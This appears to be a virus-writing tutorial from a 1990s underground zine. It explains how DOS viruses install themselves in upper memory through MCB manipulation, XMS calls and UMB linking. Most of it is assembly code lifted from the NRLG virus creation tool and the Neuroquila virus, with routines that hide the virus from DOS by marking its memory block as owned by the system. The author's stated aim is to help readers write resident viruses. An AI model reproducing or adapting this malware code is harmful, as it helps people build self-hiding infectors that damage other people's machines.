Upper memory residency
by IntrusO

    Well, i'll try  to describe  some routines  used by some  viruses to copy
    themselves into upper memory... in order to do this, i'll try to describe
    what's that we call upper memory, type we're interested in, the MCB, etc.
    Then i'll try to trace a bit of Neuroquila, looking for the techniques it
    it uses for this kind of residency. Let's start :-)

    .----------------.
    |  Upper Memory  |
    '----------------'

    DOS has something  we call UMBs; the segment  where they start is kept at
    offset 1fh at the information table about disk buffers whose direction is
    returned at ES:BX+12h by the get  list of lists -52h-, but in order to be
    able  to get onto  upper memory blocks, these  must be linked to  conven-
    tional memory blocks; if not, we'll do it by function 58h (Neuroquila vi-
    rus does this) ;-) The format of MCBs at UMBs is the following:

      offset     0 byte: 5ah if the last one and 4dh otherwise
                 -------------------------------------------------------
        "        1 word: with the PID (Process ID)
                 -------------------------------------------------------
        "        3 word: size of block in paragraphs
                 -------------------------------------------------------
        "        8  8 bytes: 'UMB' if first block and SM if the last one
                 -------------------------------------------------------

    Then we also  have this other  memory we're also interested in... the XMS
    controller, which Neuroquila (how not!) does  also use... the XMS contro-
    ller (HIMEM.SYS loads it) adds functions to manage upper memory.

    In order to employ the XMS controller services we must check function 43h
    int 2fh (multiplex), checking for 80h in AL (what Neuroquila does).

    Once we know XMS is there, we must ask where to find it, with subfunction
    10h, as XMS is not called by means of an int. It would be something like:

                    mov     ax,4310h        ; Ask address
                    int     2fh
                    mov     xms_seg,es      ; Save it
                    mov     xms_off,bx

    Where xms_** would be a struc type of:

    xms_mgr         label   dword
    xms_off         dw      0
    xms_seg         dw      0

    Then, when we would want  to use the manager, we'd use function number at
    AH, and run a call xms_mgr.

    .---------------------------.
    |   Normal memory blocks    |
    '---------------------------'
    (Erhmm... i think i sould have started here O:))

    Memory blocks  under DOS are bytes arrays, always multiples of 16. There-
    fore, a 16 bit word may keep the address of any part of the memory inside
    inside the meg an 8086 can handle. When a program is run, the system cre-
    ates two blocks for itself: the program memory  block, and the enviroment
    memory block.

    When a program is run, DOS searches  the largest  memory block available,
    and assigns it to the program. The first paragraph address is called PID;
    moreover, in the first 256 bytes  of this  area, DOS creates PSP. The en-
    vironment block is the zone where variables are kept: PATH, SET, etc. Now
    let's talk about MCBs (Memory Control Blocks), as both  the program block
    with the enviroment are  following a header that contains the information
    about the assigned MCB. This way:

      offset  0 byte: ID
              ---------------------------------------
        "     1 PID owner
              ---------------------------------------
        "     3 size
              ---------------------------------------
        "     5 to 7 reserved
              ---------------------------------------
        "     8 to 15 name of owner
              ---------------------------------------

    Usually, a virus would subtract its length from the size kept at offset 3
    and  then call int 21h function 4ah to  free the memory, and get it again
    somewhere else with function 48h. After it, it would mark the MCB with an
    an 8 at offset 1 (PID). Why? Because  system has  this PID; this  way, it
    'tricks' DOS not to use that portion of memory; it's only left to rep mo-
    vsb into the block.

    Memory managing functions
    -------------------------
    48h - Allocate memory block
            Input:  BX = size of block, in paragraphs
            Output: if CF = 1, AX = error code
                    AX:0 = address of memory block
                    BX = if there was an error, it contains the maximum
                    size available
    49h - Free memory block
            Input:  ES = Memory block segment
            Output: if CF = 1 , AX = error code
    4ah - Modify allocated memory blocks
            Input:  ES = Memory block segment
                    BX = new size of block, in paragraphs
            Output: if CF = 1 , AX = error code
                    BX = if there was an error, it contains the maximum
                    size available

    This can be seen, for instance, in  this routine i took from the NRLG vi-
    rus creation tool. I think  it's very  easy  to understand... hope no one
    turns up with the (c) cause i wouldnt mind to take the routine from some-
    where else and this way i'm promoting it };)

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
    push cs                          ;
    pop ax                           ;ax = my actual segment
    dec ax                           ;dec my segment for look my MCB
    mov es,ax                        ;
    mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
    ;---------------------------------------------------------------
    push cs                          ;
    pop es                           ;
    sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus
    sub bx,17 + offset fin           ;and 100H for the PSP total
    mov ah,4ah                       ;used memory
    int 21h                          ;put the new value to MCB
    ;---------------------------------------------------------------
    mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
    mov ah,48h                      ;
    int 21h                         ;request the memory to fuck DOS!
    ;---------------------------------------------------------------
    dec ax                          ;ax=new segment
    mov es,ax                       ;ax-1= new segment MCB
    mov byte ptr es:[1],8           ;put '8' in the segment
    ;--------------------------------------------------------------
    inc ax                          ;
    mov es,ax                       ;es = new segment
    lea si,[bp + offset start]      ;si = start of virus
    mov di,100h                     ;di = 100H (psp position)
    mov cx,offset fin - start       ;cx = lag of virus
    push cs                         ;
    pop ds                          ;ds = cs
    cld                             ;mov the code
    rep movsb                       ;ds:si >> es:di
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

    This would be the way to  copy into memory for a .COM infector. There are
    some viruses which are clumsier, to say it some way, like the 'famous' (i
    still can't understand why) Friday 13th (Jerusalem), which calls int 21h,
    function 31h in order to stay resident, having to execute itself again...
    it isn't worth to  waste our time  with that, and i'm sorry for those who
    use *that*, but i consider it bullshit... a virus oughts to be resident!

    Well, up to this point, someone  will be pleading for some code from Neu-
    roquila ;D here it is... :)

    try_to_move_virus:
            push    ds
            push    es
            mov     ah,52h                  ; get list of Lists
            int     21h
            mov     ds,word ptr es:[bx-2]   ; First MCB segment
            mov     si,10h
            cmp     byte ptr [si-0ch],80h   ; ¨block size > 80FFh paragraphs?
            mov     al,0
            ja      DOS2_not_loaded_yet     ; sure
            mov     di,memory_size          ; size it needs
            ; memory_size = (offset memory_top - offset start + 15) /16
            call    alloc_mem

    Here, we'll have a deep look into this interesting routine ;)

    .---------------------------------.
    |    Memory allocation routine    |
    '---------------------------------'

    alloc_mem:

            mov     ax,4300h
            int     2fh             ; He asks for XMS
            cmp     al,80h
            jnz     no_xms_driver

    Curiously, we should check for the 2fh vector to be different from 0, coz
    that would mean  that XMS isn't initialized  for that DOS version and the
    system would  hang; anyway, i've seen NO program to bear this  in mind...
    can it be, anyway, a bug of Neuroquila? }:)

    Take it easy, i know some of  you are heavy fans of this virus :DDD It is
    not a bug; Neuroquila first checks for the DOS version it's running under
    ;)

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
            mov     ax,4310h
            int     2fh
            mov     word ptr xms_addr,bx
            mov     word ptr xms_addr+2,es  ; What i said before ;)
            mov     ah,10h                  ; Allocate upper memory
            mov     dx,di                   ; size in paragraphs
            call    xms_addr                ; take it as an int
            dec     ax                      ; are we going?
            jnz     no_xms_driver           ; nope
            mov     bp,bx                   ; BP = UMB segment
            ret                             ; and returns

    no_xms_driver:

        ; XMS isn't available, allocate upper memory, DOS 5.0 needed

            mov     ax,5800h
            int     21h                     ; get strategy
            push    ax
            mov     ax,5801h                ; low memory best fit
            push    ax
            mov     bx,0080h                ; puts allocation strategy
            int     21h                     ; BL=new strategy BH=00 (DOS 5+)

            mov     ax,5802h                ; low memory last fit
            int     21h                     ; get UMB state
            mov     ah,0                    ; preserve it
            push    ax
            mov     ax,5803h
            push    ax
            mov     bl,1                    ; Connects UMB blocks
            int     21h
            mov     ah,48h
            mov     bx,di                   ; Allocate memory, BX = para
            int     21h                     ; of memory
            xchg    bp,ax                   ; BP = assigned segment
            pop     ax
            pop     bx
            int     21h
            pop     ax
            pop     bx
            int     21h                     ; Restore strategy
            ret                             ; and returns
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

    Well, well, well, now we continue with the main routine...

            mov     dx,bp                   ;-) let's remember what's in BP
            cmp     dh,0A0h                 ; DX=0A000h
            jb      in_low_mem              ; low_mem? then go down!
            dec     bp
            mov     ds,bp
            mov     ax,di
            mov     word ptr [si-0fh],8     ; MCB belongs to system
            jmp     move_virus              ; just copy it

    in_low_men:

    Let's see several interesting  properties of memory blocks in DOS 4.0 and
    5.0, that Neuroquila will 'work' with ;)

    Well, since DOS 3.1, first memory block  is a system  data segment, which
    contains the  device drivers  in CONFIG.SYS. From DOS 4.0 and further on,
    this  block is divided into smaller  ones, each  of which, preceeded by a
    MCB with the following structure:

     offset 0:       Byte, type of segment:
                     'D' - Device driver
                     'E' -    "     "    extension
                     'I' - IFS driver (Installable File System)
                     'F' - FILES = If FILES > 5, place where they are kept
                     'X' - FCBS = place where kept
                     'C' - BUFFERS = /X Expanded Memory buffers
                     'B' - BUFFERS = buffers area
                     'L' - LASTDRIVE = place where kept
                     'S' - STACKS = system code and stack zone
                     'T' - INSTALL = this order's area

     offset 1:       Word, indicates where  the subsegment  starts (generally
                     after it)

     offset 3:       Word, size of subsegment (paragraphs)

     offset 8:       8 bytes: in types 'D' and 'I', name  of file that loaded
                     the driver

    This way, since DOS 4.0 once found first MCB, we can jump it and take the
    next one. In DOS 5.0, system blocks have 'SC' (System Code) or 'SD' (Sys-
    tem Data, which would be equal to those of the DOS 4.0) in their name.

    It is here where Neuroquila starts to check this MCB of the subblocks.

            push    ds
            cmp     byte ptr [si],46h       ; FILES= ? 'F' (in hex)
            jz      next_subMCB
            cmp     byte ptr [si],44h       ; DEVICE= ? 'D'
            jnz     no_subMCB

    next_subMCB:
            cmp     byte ptr [si],4dh       ; next MCB? (5ah if last)
            jz      last_subMCB
            cmp     byte ptr [si],54h       ; INSTALL=? 'T'
            jz      last_subMCB
            mov     ax,word ptr [si+1]      ; MCB owner
            dec     ax
            mov     es,ax
            add     ax,word ptr [si+3]      ; More size for memory block
            mov     ds,ax
            jmp     next_subMCB             ; and again!

    last_subMCB:

            lea     ax,[bp+di]
            sub     ax,es:[si-0fh]
            mov     es:[si-0dh],ax

    no_subMCB:
            pop     ds
            mov     ax,ds                   ; First MCB segment
            sub     bp,ax
            xchg    bp,ax
            add     ax,memory_size - 1

    move_virus:
            mov     virus_segment,ds
            push    cs
            pop     ds
            assume  ds:code 2
            mov     virusMCB_size,ax
            mov     es,dx
            mov     al,(offset allready_moved-offset virus_moved_from_fixed_segment)
            mov     byte ptr virus_moved_from_fixed_segment,al
            mov     cx,offset memory_top
            xor     si,si
            xor     di,di
            cld
            rep     movsb

    Neuroquila has many more to give, but for now... i put this, just in case
    someone doesn't  have the Neuroquila source code, published in VLAD#5 (it
    is high time!) }:D

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
    already_moved:
            push    ds
    ;       push    word ptr 0c801h
            db      68h
    virus_segment   dw      0c801h
            pop     ds
    ;       mov     word ptr [3],014eh
            db      0c7h,06h
            dw      3
    virusMCB_size   dw      014eh
            pop     ds
    ;-----------------------------------------

    DOS2_not_loaded_yet:
            pop     es
            pop     ds
    assume  ds:nothing
    do_not_move:
            mov     byte ptr virus_moved_from_fixed_segment,al
            popa
    @@65:
            retf
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

    That's all folks, hope  my huge fingers and poor view, help  me  to write
    some virus that would stay resident in upper memory... :)